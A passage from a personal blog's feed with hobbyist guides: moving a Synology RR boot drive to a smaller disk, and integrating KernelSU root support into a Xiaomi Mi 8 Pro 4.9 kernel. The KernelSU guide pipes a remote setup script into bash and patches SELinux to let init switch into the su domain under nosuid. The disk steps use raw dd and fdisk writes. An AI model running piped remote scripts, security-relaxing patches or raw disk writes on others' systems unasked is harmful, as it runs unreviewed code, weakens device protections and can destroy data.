&lt;p&gt;挂载两个盘的第三分区，假设原盘为&lt;code&gt;~/a&lt;/code&gt;，目标盘为&lt;code&gt;~/b&lt;/code&gt;，接着拷贝&lt;code&gt;a&lt;/code&gt;中的所有数据到&lt;code&gt;b&lt;/code&gt;（这步直接cp指令就行，不多赘述了）&lt;/p&gt;
&lt;p&gt;最终，umount所有挂载点，拔下磁盘接入黑群晖，迁移成功。&lt;/p&gt;
</content:encoded></item><item><title>Migrating RR Loader for Synology DSM</title><link>https://blog.iyoroy.cn/posts/en-15/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/en-15/</guid><description>Moving an RR boot drive from USB to a slightly smaller Optane disk by copying the first two partitions, recreating the third, and transferring its files, UUID, and label.</description><pubDate>Wed, 29 Jan 2025 16:36:00 GMT</pubDate><content:encoded>&lt;p&gt;I wrote this article because the original disk was a 16GB USB drive, and the target disk is a 16GB Optane. Although both are 16GB, the original one is slightly larger (I don&apos;t know why either orz).&lt;br /&gt;
Directly using dd won&apos;t work since the source disk is larger than the target, so I&apos;m documenting the process here.&lt;/p&gt;
&lt;p&gt;:::warning
Data is priceless, tinkering requires caution.
:::&lt;/p&gt;
&lt;h1&gt;Analysis&lt;/h1&gt;
&lt;p&gt;The RR boot disk has three partitions:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;FAT32,50.00MB&lt;/li&gt;
&lt;li&gt;Ext2,50.00MB&lt;/li&gt;
&lt;li&gt;Ext4,occupying the remaining space&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The first partition is the boot partition and is bootable (marked with an asterisk under &quot;Boot&quot; in &lt;code&gt;fdisk -l&lt;/code&gt;). The second partition&apos;s purpose is unclear, but it&apos;s likely for GRUB. The third partition holds Synology&apos;s kernel and RR Loader configuration files.&lt;/p&gt;
&lt;h1&gt;Approach&lt;/h1&gt;
&lt;p&gt;Since the first two partitions are small, we can use &lt;code&gt;dd&lt;/code&gt; to copy them entirely to the target disk. For the third partition, we&apos;ll manually create and format it, then synchronize the UUID and Label.&lt;/p&gt;
&lt;p&gt;:::info
This process uses Linux operations.
:::&lt;/p&gt;
&lt;h1&gt;Let&apos;s Start&lt;/h1&gt;
&lt;p&gt;Connect both disks to the system: source disk as &lt;code&gt;/dev/sda&lt;/code&gt;, target disk as &lt;code&gt;/dev/sdb&lt;/code&gt;.&lt;br /&gt;
Check the source disk information:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo fdisk -l /dev/sda
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Output:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Disk /dev/sda: 14.55 GiB, 15627976704 bytes, 30523392 sectors
Disk model: Storage Media   
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x66d0fe82

Device     Boot  Start      End  Sectors  Size Id Type
/dev/sda1  *      2048   104447   102400   50M 83 Linux
/dev/sda2       104448   206847   102400   50M 83 Linux
/dev/sda3       206848 30523391 30316544 14.5G 83 Linux
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Copy the First Two Partitions and Disk Partition Table to the Target Disk&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo dd if=/dev/sda of=/dev/sdb bs=512 count=206848 # This example uses 512-byte sectors; count is the third partition&apos;s starting sector. Adjust for your disk.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Output:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;206848+0 records in
206848+0 records out
105906176 bytes (106 MB, 101 MiB) copied, 11.3812 s, 9.3 MB/s
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Create the Third Partition&lt;/h2&gt;
&lt;p&gt;Open the disk with fdisk:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo fdisk /dev/sdb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;First, wipe the existing third partition data: Type &lt;code&gt;d&lt;/code&gt;, and when prompted with &lt;code&gt;Partition number (1-3, default 3):&lt;/code&gt;, enter &lt;code&gt;3&lt;/code&gt; or just press Enter.
After seeing &lt;code&gt;Partition 3 has been deleted.&lt;/code&gt;, type &lt;code&gt;n&lt;/code&gt; to create a new partition. Select &lt;code&gt;primary partition&lt;/code&gt; by typing &lt;code&gt;p&lt;/code&gt;, and accept the default options for the rest by pressing Enter. Once done, type &lt;code&gt;w&lt;/code&gt; to save and exit.&lt;br /&gt;
If you&apos;re unfamiliar with fdisk, search for tutorials online.&lt;/p&gt;
&lt;h1&gt;Format the Newly Created Partition and Write UUID and Label&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;sudo mkfs.ext4 /dev/sdb3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Check the details of the source disk&apos;s third partition using the file command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo file -s /dev/sda3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Output:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/dev/sda3: Linux rev 1.0 ext4 filesystem data, UUID=617a3aca-4b56-42d7-8558-54411b344a7d, volume name &quot;RR3&quot; (extents) (64bit) (large files) (huge files)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note down the &lt;code&gt;UUID&lt;/code&gt; and &lt;code&gt;volume name&lt;/code&gt; (i.e., &quot;RR3&quot;), and use the following commands to write them to the new disk:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo tune2fs /dev/sdb3 -U 617a3aca-4b56-42d7-8558-54411b344a7d # Use the UUID recorded from your source partition.
sudo tune2fs /dev/sdb3 -L RR3 # Write volume name
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Copy data&lt;/h1&gt;
&lt;p&gt;Mount the third partitions of both disks. Assume the source is mounted at &lt;code&gt;~/a&lt;/code&gt; and the target at &lt;code&gt;~/b&lt;/code&gt;. Then, copy all data from a to b (this step is straightforward with &lt;code&gt;cp&lt;/code&gt;, so no detailed explanation needed).&lt;/p&gt;
&lt;p&gt;Finally, unmount all mount points, disconnect the disks, and connect them to your NAS. The migration should be successful.&lt;/p&gt;
</content:encoded></item><item><title>给Android 4.9内核添加KernelSU支持</title><link>https://blog.iyoroy.cn/posts/8/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/8/</guid><description>为小米 8 屏幕指纹版的非 GKI 4.9 内核集成 KernelSU，记录源码修改、kprobe 配置、AnyKernel3 打包和 GitHub Actions 编译流程。</description><pubDate>Thu, 26 Dec 2024 16:18:00 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;KernelSU出来也有一段时间了，官方只支持GKI内核但是给出了非GKI内核的集成方案。咱使用的小米8屏幕指纹版是基于Android4.9内核的，实测直接使用KernelSU的脚本集成会出问题，故记录下折腾过程&lt;br /&gt;
特别感谢：Tomsec大佬提供的4.9修复方案&lt;/p&gt;
&lt;h1&gt;准备材料&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Android Kernel源码，此处使用的是&lt;a href=&quot;https://github.com/LineageOS/android_kernel_xiaomi_sdm845&quot;&gt;LineageOS/android_kernel_xiaomi_sdm845&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;能访问GitHub的网络环境&lt;/li&gt;
&lt;li&gt;AnyKernel3源码，可参考如下仓库：https://github.com/YoriInstitute/AnyKernel3-equuleus&lt;/li&gt;
&lt;li&gt;交叉编译器，可参考如下仓库：https://github.com/YoriInstitute/AnyKernel3-equuleus/blob/13/.github/workflows/build.yml#L21-L23&lt;/li&gt;
&lt;li&gt;编译服务器&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;开整&lt;/h1&gt;
&lt;p&gt;编译环境配置这里就不叙述了，可以放在ROM编译里制作包的时候直接集成在boot.img里也可以单独编译成AnyKernel3可刷入包，这里使用的是AnyKernel3的方案。&lt;/p&gt;
&lt;h2&gt;下载内核源码、交叉编译器&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;git clone https://github.com/KaguraiYoRoy/android_kernel_xiaomi_sdm845 -b lineage-20 sdm845 #内核源码
git clone https://android.googlesource.com/platform/prebuilts/clang/host/linux-x86 --depth=1 -b android-13.0.0_r43 clang #Clang
git clone https://android.googlesource.com/platform/prebuilts/gcc/linux-x86/aarch64/aarch64-linux-android-4.9 -b android-10.0.0_r32 --depth=1 #aarch64的GCC
git clone https://android.googlesource.com/platform/prebuilts/gcc/linux-x86/arm/arm-linux-androideabi-4.9 -b android-10.0.0_r32 --depth=1 #arm的GCC
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不同内核需要的交叉编译器可能不同，请根据你的实际情况修改&lt;/p&gt;
&lt;p&gt;:::note
此处下载内核时没加参数&lt;code&gt;--depth=1&lt;/code&gt;是为了后期便于cherry-pick，若你选择手动修改内核源码而不是pick则可以加上此参数，可以显著减少下载时的时间&lt;br /&gt;
:::&lt;/p&gt;
&lt;h2&gt;修改内核源码&lt;/h2&gt;
&lt;p&gt;参考如下两个commit：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/OnlyTomInSecond/android_kernel_xiaomi_sdm845/commit/7862fd2c14b69a1a346b7c699f8370e2de423eef&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;commit b5853fb7cefdc8a2e160cb73512dc6b51569fa66
Author: OnlyTomInSecond &amp;lt;q2781273965@gmail.com&amp;gt;
Date:   Wed Apr 5 11:05:12 2023 +0800

    kernelsu: allow init exec ksud under nosuid

    Change-Id: I8aa6e6d3cbee1addd5da9bb48b4c08ce91f9db81

diff --git a/security/selinux/hooks.c b/security/selinux/hooks.c
index 4abba0e1674d..693f2ac03352 100644
--- a/security/selinux/hooks.c
+++ b/security/selinux/hooks.c
@@ -2320,7 +2320,10 @@ static int check_nnp_nosuid(const struct linux_binprm *bprm,
 {
        int nnp = (bprm-&amp;gt;unsafe &amp;amp; LSM_UNSAFE_NO_NEW_PRIVS);
        int nosuid = !mnt_may_suid(bprm-&amp;gt;file-&amp;gt;f_path.mnt);
-       int rc;
+       int rc, error;
+    static u32 ksu_sid;
+       char *secdata;
+    u32 seclen;

        if (!nnp &amp;amp;&amp;amp; !nosuid)
      return 0; /* neither NNP nor nosuid */
@@ -2328,6 +2331,18 @@ static int check_nnp_nosuid(const struct linux_binprm *bprm,
        if (new_tsec-&amp;gt;sid == old_tsec-&amp;gt;sid)
      return 0; /* No change in credentials */

+    if(!ksu_sid){
+     security_secctx_to_secid(&quot;u:r:su:s0&quot;, strlen(&quot;u:r:su:s0&quot;), &amp;amp;ksu_sid);
+       }
+       error = security_secid_to_secctx(old_tsec-&amp;gt;sid, &amp;amp;secdata, &amp;amp;seclen);
+       if (!error) {
+     rc = strcmp(&quot;u:r:init:s0&quot;,secdata);
+     security_release_secctx(secdata, seclen);
+     if(rc == 0 &amp;amp;&amp;amp; new_tsec-&amp;gt;sid == ksu_sid){
+   return 0;
+     }
+       }
+
        /*
         * The only transitions we permit under NNP or nosuid
         * are transitions to bounded SIDs, i.e. SIDs that are
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/OnlyTomInSecond/android_kernel_xiaomi_sdm845/commit/81d7168f2f01e6aba0932a4787119fbc541eba58&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;commit 8bfe4d4de25650505798cba0a5a20db4b2ab7dd6
Author: OnlyTomInSecond &amp;lt;q2781273965@gmail.com&amp;gt;
Date:   Thu Oct 19 17:55:23 2023 +0800

    Kernelsu: add path_umount implementation.

    Change-Id: I3b0273e9857c51cc3215afab0d2cebe0dff38cfb

diff --git a/fs/namespace.c b/fs/namespace.c
index 21fd423b19cf..219a501337b0 100644
--- a/fs/namespace.c
+++ b/fs/namespace.c
@@ -1711,6 +1711,38 @@ static inline bool may_mandlock(void)
 }
 #endif

+static int can_umount(const struct path *path, int flags)
+{
+       struct mount *mnt = real_mount(path-&amp;gt;mnt);
+
+       if (!may_mount())
+     return -EPERM;
+       if (path-&amp;gt;dentry != path-&amp;gt;mnt-&amp;gt;mnt_root)
+     return -EINVAL;
+       if (!check_mnt(mnt))
+     return -EINVAL;
+       if (mnt-&amp;gt;mnt.mnt_flags &amp;amp; MNT_LOCKED) /* Check optimistically */
+     return -EINVAL;
+       if (flags &amp;amp; MNT_FORCE &amp;amp;&amp;amp; !capable(CAP_SYS_ADMIN))
+     return -EPERM;
+       return 0;
+}
+
+// caller is responsible for flags being sane
+int path_umount(struct path *path, int flags)
+{
+       struct mount *mnt = real_mount(path-&amp;gt;mnt);
+       int ret;
+
+       ret = can_umount(path, flags);
+       if (!ret)
+     ret = do_umount(mnt, flags);
+
+       /* we mustn&apos;t call path_put() as that would clear mnt_expiry_mark */
+       dput(path-&amp;gt;dentry);
+       mntput_no_expire(mnt);
+       return ret;
+}
 /*
  * Now umount can handle mount points as well as block devices.
  * This is important for filesystems which use unnamed block devices.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;方案来源：&lt;a href=&quot;https://github.com/OnlyTomInSecond&quot;&gt;Tomsec&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;启用kprobe支持&lt;/h2&gt;
&lt;p&gt;打开你的内核的defconfig文件，添加如下三行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CONFIG_KPROBES=y
CONFIG_HAVE_KPROBES=y
CONFIG_KPROBE_EVENTS=y
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;集成KernelSU&lt;/h2&gt;
&lt;p&gt;此步骤和ksu官网教程一样，在内核根目录执行如下指令：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -LSs &quot;https://raw.githubusercontent.com/tiann/KernelSU/main/kernel/setup.sh&quot; | bash -s v0.9.5
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::warning
注：最高支持非GKI内核的KernelSU版本是v0.9.5，请勿使用更高版本的tag否则会编译不通过
:::&lt;/p&gt;
&lt;h2&gt;编写AnyKernel3脚本&lt;/h2&gt;
&lt;p&gt;下载下来&lt;a href=&quot;https://github.com/osm0sis/AnyKernel3&quot;&gt;AnyKernel3&lt;/a&gt;，并且按照README修改&lt;code&gt;anykernel.sh&lt;/code&gt;，可参考咱的仓库修改：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;仓库地址：https://github.com/iYoRoy-AOSP-Institute/AnyKernel3-equuleus/blob/14/anykernel.sh&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;展开代码&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;commit 3b46e03e0ffdd52bbb3f51b45b0ff649a407d1a5
Author: KaguraiYoRoy &amp;lt;3363384229@qq.com&amp;gt;
Date:   Sat Sep 9 02:41:54 2023 +0000

    anykernel.sh: modify for equuleus

diff --git a/anykernel.sh b/anykernel.sh
old mode 100755
new mode 100644
index 367d29f..c950ce7
--- a/anykernel.sh
+++ b/anykernel.sh
@@ -4,23 +4,17 @@
 ### AnyKernel setup
 # global properties
 properties() { &apos;
-kernel.string=ExampleKernel by osm0sis @ xda-developers
+kernel.string=Xiaomi 8 Pro Kernel by Kagura iYoRoy @ iYoRoy Studio
 do.devicecheck=1
 do.modules=0
-do.systemless=1
+do.systemless=0
 do.cleanup=1
 do.cleanuponabort=0
-device.name1=maguro
-device.name2=toro
-device.name3=toroplus
-device.name4=tuna
-device.name5=
-supported.versions=
+device.name1=equuleus
+supported.versions=13
 supported.patchlevels=
-supported.vendorpatchlevels=
 &apos;; } # end properties

-
 ### AnyKernel install
 ## boot files attributes
 boot_attributes() {
@@ -29,7 +23,7 @@ set_perm_recursive 0 0 750 750 $ramdisk/init* $ramdisk/sbin;
 } # end attributes

 # boot shell variables
-block=/dev/block/platform/omap/omap_hsmmc.0/by-name/boot;
+block=/dev/block/bootdevice/by-name/boot;
 is_slot_device=0;
 ramdisk_compression=auto;
 patch_vbmeta_flag=auto;
@@ -41,32 +35,26 @@ patch_vbmeta_flag=auto;
 dump_boot; # use split_boot to skip ramdisk unpack, e.g. for devices with init_boot ramdisk

 # init.rc
-backup_file init.rc;
-replace_string init.rc &quot;cpuctl cpu,timer_slack&quot; &quot;mount cgroup none /dev/cpuctl cpu&quot; &quot;mount cgroup none /dev/cpuctl cpu,timer_slack&quot;;
+#backup_file init.rc;
+#replace_string init.rc &quot;cpuctl cpu,timer_slack&quot; &quot;mount cgroup none /dev/cpuctl cpu&quot; &quot;mount cgroup none /dev/cpuctl cpu,timer_slack&quot;;

 # init.tuna.rc
-backup_file init.tuna.rc;
-insert_line init.tuna.rc &quot;nodiratime barrier=0&quot; after &quot;mount_all /fstab.tuna&quot; &quot;\tmount ext4 /dev/block/platform/omap/omap_hsmmc.0/by-name/userdata /data remount nosuid nodev noatime nodiratime barrier=0&quot;;
-append_file init.tuna.rc &quot;bootscript&quot; init.tuna;
+#backup_file init.tuna.rc;
+#insert_line init.tuna.rc &quot;nodiratime barrier=0&quot; after &quot;mount_all /fstab.tuna&quot; &quot;\tmount ext4 /dev/block/platform/omap/omap_hsmmc.0/by-name/userdata /data remount nosuid nodev noatime nodiratime barrier=0&quot;;
+#append_file init.tuna.rc &quot;bootscript&quot; init.tuna;

 # fstab.tuna
-backup_file fstab.tuna;
-patch_fstab fstab.tuna /system ext4 options &quot;noatime,barrier=1&quot; &quot;noatime,nodiratime,barrier=0&quot;;
-patch_fstab fstab.tuna /cache ext4 options &quot;barrier=1&quot; &quot;barrier=0,nomblk_io_submit&quot;;
-patch_fstab fstab.tuna /data ext4 options &quot;data=ordered&quot; &quot;nomblk_io_submit,data=writeback&quot;;
-append_file fstab.tuna &quot;usbdisk&quot; fstab;
+#backup_file fstab.tuna;
+#patch_fstab fstab.tuna /system ext4 options &quot;noatime,barrier=1&quot; &quot;noatime,nodiratime,barrier=0&quot;;
+#patch_fstab fstab.tuna /cache ext4 options &quot;barrier=1&quot; &quot;barrier=0,nomblk_io_submit&quot;;
+#patch_fstab fstab.tuna /data ext4 options &quot;data=ordered&quot; &quot;nomblk_io_submit,data=writeback&quot;;
+#append_file fstab.tuna &quot;usbdisk&quot; fstab;

 write_boot; # use flash_boot to skip ramdisk repack, e.g. for devices with init_boot ramdisk
 ## end boot install


-## init_boot files attributes
-#init_boot_attributes() {
-#set_perm_recursive 0 0 755 644 $ramdisk/*;
-#set_perm_recursive 0 0 750 750 $ramdisk/init* $ramdisk/sbin;
-#} # end attributes
-
-# init_boot shell variables
+## init_boot shell variables
 #block=init_boot;
 #is_slot_device=1;
 #ramdisk_compression=auto;
@@ -98,13 +86,7 @@ write_boot; # use flash_boot to skip ramdisk repack, e.g. for devices with init_
 ## end vendor_kernel_boot install


-## vendor_boot files attributes
-#vendor_boot_attributes() {
-#set_perm_recursive 0 0 755 644 $ramdisk/*;
-#set_perm_recursive 0 0 750 750 $ramdisk/init* $ramdisk/sbin;
-#} # end attributes
-
-# vendor_boot shell variables
+## vendor_boot shell variables
 #block=vendor_boot;
 #is_slot_device=1;
 #ramdisk_compression=auto;
@@ -118,4 +100,3 @@ write_boot; # use flash_boot to skip ramdisk repack, e.g. for devices with init_

 #write_boot; # use flash_boot to skip ramdisk repack, e.g. for dtb on devices with hdr v4 but no vendor_kernel_boot
 ## end vendor_boot install
-
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;编译内核&lt;/h2&gt;
&lt;p&gt;此处建议参考网上教程，不同内核编译参数设置会有所不同&lt;br /&gt;
咱将编译过程打包成了shell脚本，可供参考：&lt;/p&gt;
&lt;p&gt;:::note
请将下方&lt;code&gt;$WORKSPACE&lt;/code&gt;替换为你自己的工作目录
:::&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/bin/bash
ARCH=&quot;arm64&quot;
CLANG_DIR=&quot;$WORKSPACE/clang/clang-r450784d&quot; #Clang文件夹
CC=&quot;$CLANG_DIR/bin/clang&quot;
export PATH=&quot;$CLANG_DIR/bin:$PATH&quot;
OUT_DIR=&quot;./out&quot;
CLANG_TRIPLE=&quot;aarch64-linux-gnu-&quot;
CROSS_COMPILE=&quot;$WORKSPACE/aarch64-linux-android-4.9/bin/aarch64-linux-androidkernel-&quot; #aarch64GCC
CROSS_COMPILE_ARM32=&quot;$WORKSPACE/arm-linux-androideabi-4.9/bin/arm-linux-androidkernel-&quot; #armGCC
CC_ADDITION_FLAGS=&quot;AR=llvm-ar NM=llvm-nm OBJCOPY=llvm-objcopy OBJDUMP=llvm-objdump STRIP=llvm-strip LLVM_IAS=1 LLVM=1 LD=ld.lld&quot;
ANYKERNEL_DIR=&quot;$WORKSPACE/AnyKernel3&quot; #编写好的AnyKernel3文件夹所在位置

THREAD=$(nproc --all)

args=&quot;-j$THREAD O=$OUT_DIR ARCH=$ARCH CROSS_COMPILE=$CROSS_COMPILE CROSS_COMPILE_ARM32=$CROSS_COMPILE_ARM32 CC=$CC CLANG_TRIPLE=$CLANG_TRIPLE $CC_ADDITION_FLAGS&quot;

### 编译内核 ###
echo &quot;[+]Args: $args&quot;
echo &quot;[+}Generate .config&quot;
make equuleus_user_defconfig $args #此处equuleus_user_defconfig为equuleus的内核defconfig文件，请替换成你的内核配置文件名
echo &quot;[+]Begin Build&quot;
make $args
### 编译完成 ###

### 制作AnyKernel3 ###
cd $WORKSPACE/sdm845/KernelSU
KSU_VERSION=&apos;v0.9.5&apos;
TARGET_KERNEL=&quot;Mi8Pro-LineageKernel-KernelSU$KSU_VERSION&quot; #内核文件名
echo &quot;[+]KernelSU Version: $KSU_VERSION&quot;
echo &quot;[+]Target file: $TARGET_KERNEL&quot;
cd $WORKSPACE/AnyKernel3
cp $WORKSPACE/sdm845/out/arch/arm64/boot/Image .
cp $WORKSPACE/sdm845/out/arch/arm64/boot/Image.gz .
cp $WORKSPACE/sdm845/out/arch/arm64/boot/Image.gz-dtb .
OUTPUT_FILE=${TARGET_KERNEL}-$(date +&quot;%y.%m.%d&quot;).zip
echo &quot;[+]Output: $OUTPUT_FILE&quot;
zip -r $OUTPUT_FILE *
mv $OUTPUT_FILE $WORKSPACE
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;刷入&lt;/h2&gt;
&lt;p&gt;使用twrp之类的recovery即可&lt;/p&gt;
&lt;h1&gt;使用GitHub Actions自动编译内核&lt;/h1&gt;
&lt;p&gt;yml编写请参考：https://github.com/iYoRoy-AOSP-Institute/AnyKernel3-equuleus/blob/13/.github/workflows/build.yml&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;展开代码&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;name: Build AnyKernel
on:
  push:
  schedule:
    - cron: &apos;0 0 * * 0&apos;

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - name: Download
        run: |
          echo &quot;Free space:&quot;
          df -h
          cd $GITHUB_WORKSPACE
          echo &quot;[+]Install packages:&quot;
          sudo apt update
          sudo apt install zip bc bison build-essential ccache curl flex g++-multilib gcc-multilib git gnupg gperf imagemagick lib32ncurses5-dev lib32readline-dev lib32z1-dev liblz4-tool libncurses5-dev libncurses5 libsdl1.2-dev libssl-dev libwxgtk3.0-gtk3-dev libxml2 libxml2-utils lzop pngcrush rsync schedtool squashfs-tools xsltproc zip zlib1g-dev make unzip python-is-python3
          echo &quot;[+]Clone dependencies:&quot;
          git clone https://github.com/KaguraiYoRoy/android_kernel_xiaomi_sdm845 -b lineage-20 sdm845
          git clone https://android.googlesource.com/platform/prebuilts/clang/host/linux-x86 --depth=1 -b android-13.0.0_r43 clang
          git clone https://android.googlesource.com/platform/prebuilts/gcc/linux-x86/aarch64/aarch64-linux-android-4.9 -b android-10.0.0_r32 --depth=1
          git clone https://android.googlesource.com/platform/prebuilts/gcc/linux-x86/arm/arm-linux-androideabi-4.9 -b android-10.0.0_r32 --depth=1
          git clone https://github.com/KaguraiYoRoy/AnyKernel3-equuleus AnyKernel3 --depth=1
      - name: Setup KernelSU
        run: |
          cd $GITHUB_WORKSPACE/sdm845
          curl -LSs &quot;https://raw.githubusercontent.com/tiann/KernelSU/main/kernel/setup.sh&quot; | bash -s main
      - name: Build Kernel
        run: |
          cd $GITHUB_WORKSPACE/sdm845
          ARCH=&quot;arm64&quot;
          CLANG_DIR=&quot;$GITHUB_WORKSPACE/clang/clang-r450784d&quot;
          CC=&quot;$CLANG_DIR/bin/clang&quot;
          export PATH=&quot;$CLANG_DIR/bin:$PATH&quot;
          OUT_DIR=&quot;./out&quot;
          CLANG_TRIPLE=&quot;aarch64-linux-gnu-&quot;
          CROSS_COMPILE=&quot;$GITHUB_WORKSPACE/aarch64-linux-android-4.9/bin/aarch64-linux-androidkernel-&quot;
          CROSS_COMPILE_ARM32=&quot;$GITHUB_WORKSPACE/arm-linux-androideabi-4.9/bin/arm-linux-androidkernel-&quot;
          CC_ADDITION_FLAGS=&quot;AR=llvm-ar NM=llvm-nm OBJCOPY=llvm-objcopy OBJDUMP=llvm-objdump STRIP=llvm-strip LLVM_IAS=1 LLVM=1 LD=ld.lld&quot;
          THREAD=$(nproc --all)
          ANYKERNEL_DIR=&quot;$GITHUB_WORKSPACE/AnyKernel3&quot;
          args=&quot;-j$THREAD O=$OUT_DIR ARCH=$ARCH CROSS_COMPILE=$CROSS_COMPILE CROSS_COMPILE_ARM32=$CROSS_COMPILE_ARM32 CC=$CC CLANG_TRIPLE=$CLANG_TRIPLE $CC_ADDITION_FLAGS&quot;
          echo &quot;[+]Args: $args&quot;
          echo &quot;[+}Generate .config&quot;
          make equuleus_user_defconfig $args
          echo &quot;[+]Begin Build&quot;
          make $args
      - name: Compress
        run: |
          cd $GITHUB_WORKSPACE/sdm845/KernelSU
          KSU_VERSION=`expr 10000 + \`git rev-list --count HEAD\` + 200`
          TARGET_KERNEL=&quot;Mi8Pro-LineageKernel-KernelSU$KSU_VERSION&quot;
          echo &quot;[+]KernelSU Version: $KSU_VERSION&quot;
          echo &quot;[+]Target file: $TARGET_KERNEL&quot;
          cd $GITHUB_WORKSPACE/AnyKernel3
          cp $GITHUB_WORKSPACE/sdm845/out/arch/arm64/boot/Image .
          cp $GITHUB_WORKSPACE/sdm845/out/arch/arm64/boot/Image.gz .
          cp $GITHUB_WORKSPACE/sdm845/out/arch/arm64/boot/Image.gz-dtb .
          OUTPUT_FILE=${TARGET_KERNEL}-$(date +&quot;%y.%m.%d&quot;).zip
          echo &quot;[+]Output: $OUTPUT_FILE&quot;
          zip -r $OUTPUT_FILE *
          mv $OUTPUT_FILE $GITHUB_WORKSPACE
      - name: Release
        uses: softprops/action-gh-release@v1
        with:
          tag_name: Android13
          files: |
            Mi8Pro*.zip
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;s&gt;&lt;em&gt;咱才不会告诉你上面的脚本其实也是这里面摘出来的（逃&lt;/em&gt;&lt;/s&gt;&lt;/p&gt;
</content:encoded></item><item><title>Adding KernelSU Support to Android 4.9 Kernel</title><link>https://blog.iyoroy.cn/posts/en-8/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/en-8/</guid><description>Integrating KernelSU into the Xiaomi Mi 8 Pro&apos;s non-GKI 4.9 kernel, with source patches, kprobe settings, AnyKernel3 packaging, and a GitHub Actions build workflow.</description><pubDate>Thu, 26 Dec 2024 16:18:00 GMT</pubDate><content:encoded>&lt;h1&gt;Introduction&lt;/h1&gt;
&lt;p&gt;KernelSU has been available for a while. Officially, it only supports GKI kernels, but the project provides integration guidelines for non-GKI kernels. The Xiaomi Mi 8 Pro, which I use, is based on the Android 4.9 kernel. Testing showed that directly using KernelSU&apos;s integration script caused issues, so I&apos;m documenting the process here.&lt;br /&gt;
Special thanks to: Developer Tomsec for providing the 4.9 kernel fix.&lt;/p&gt;
&lt;h1&gt;Prerequisites&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Android Kernel source code. Here, we use &lt;a href=&quot;https://github.com/LineageOS/android_kernel_xiaomi_sdm845&quot;&gt;LineageOS/android_kernel_xiaomi_sdm845&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Network access to GitHub&lt;/li&gt;
&lt;li&gt;AnyKernel3 source code. You can refer to this repository: &lt;a href=&quot;https://github.com/YoriInstitute/AnyKernel3-equuleus&quot;&gt;YoriInstitute/AnyKernel3-equuleus&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Cross-compiler. You can refer to this repository: &lt;a href=&quot;https://github.com/YoriInstitute/AnyKernel3-equuleus/blob/13/.github/workflows/build.yml#L21-L23&quot;&gt;https://github.com/YoriInstitute/AnyKernel3-equuleus/blob/13/.github/workflows/build.yml#L21-L23&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;A build server&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Let&apos;s Start&lt;/h1&gt;
&lt;p&gt;Configuring the build environment won&apos;t be detailed here. You can integrate it directly into the &lt;code&gt;boot.img&lt;/code&gt; when building the ROM, or compile it separately as an AnyKernel3 flashable zip. This guide uses the AnyKernel3 approach.&lt;/p&gt;
&lt;h2&gt;Download Kernel Source Code and Cross-Compiler&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;git clone https://github.com/KaguraiYoRoy/android_kernel_xiaomi_sdm845 -b lineage-20 sdm845 #Kernel source
git clone https://android.googlesource.com/platform/prebuilts/clang/host/linux-x86 --depth=1 -b android-13.0.0_r43 clang #Clang
git clone https://android.googlesource.com/platform/prebuilts/gcc/linux-x86/aarch64/aarch64-linux-android-4.9 -b android-10.0.0_r32 --depth=1 #aarch64 GCC
